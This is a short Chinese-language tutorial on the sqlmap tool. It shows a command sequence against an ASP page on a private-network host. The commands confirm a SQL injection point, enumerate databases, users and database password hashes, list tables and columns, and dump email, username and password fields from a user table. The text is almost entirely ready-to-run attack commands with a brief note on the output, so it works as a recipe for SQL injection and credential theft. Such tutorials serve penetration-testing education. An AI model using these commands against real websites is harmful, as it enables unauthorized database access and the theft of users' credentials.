SqlMap使用
在sqlmap.py文件下运行cmd:
1、检测注入点是否可用 -U ‘URL’ --batch
参数:-u:指定注入点url; --batch 程序自动把所有需要输入的Y自动输入
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” --batch
例:注入结果展示:
(1)注入参数id为GET注入,注入类型有四种分别为:boolean-based blind、error-based、stacked queries、inline query。
(2)web服务器系统为windows 2003 or XP
(3)web应用程序技术为:ASP.NET, Microsoft IIS 6.0
(4)数据库类型为:SQLSERVER 2000
2、爆库 --dbs
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” --dbs
3、web当前使用的数据库 --current-db
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” --current-db
4、web数据库使用账户 --current-user
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” --current-user
5、列出sqlserver所有用户 --users
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” --users
6、数据库账户与密码 --passwords
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” --passwords
7、爆表 -D 数据库名 --tables
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/produ
cts.asp?id=134" -D tourdata --tables
8、爆字段 -D 数据库名 -T 表名 --columns
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” -D tourdata -T userb --columns
9、爆字段值 -D 数据库名 -T 表名 -C ‘字段列表’ --dump
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” -D tourdata -T userb -C “email,Username,userpassword” --dump
指出特定范围的值 --start n --stop n
C:\Python27\sqlmap>python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” -D tourdata -T userb -C “email,Username,userpassword” --start 1 --stop 10 --dump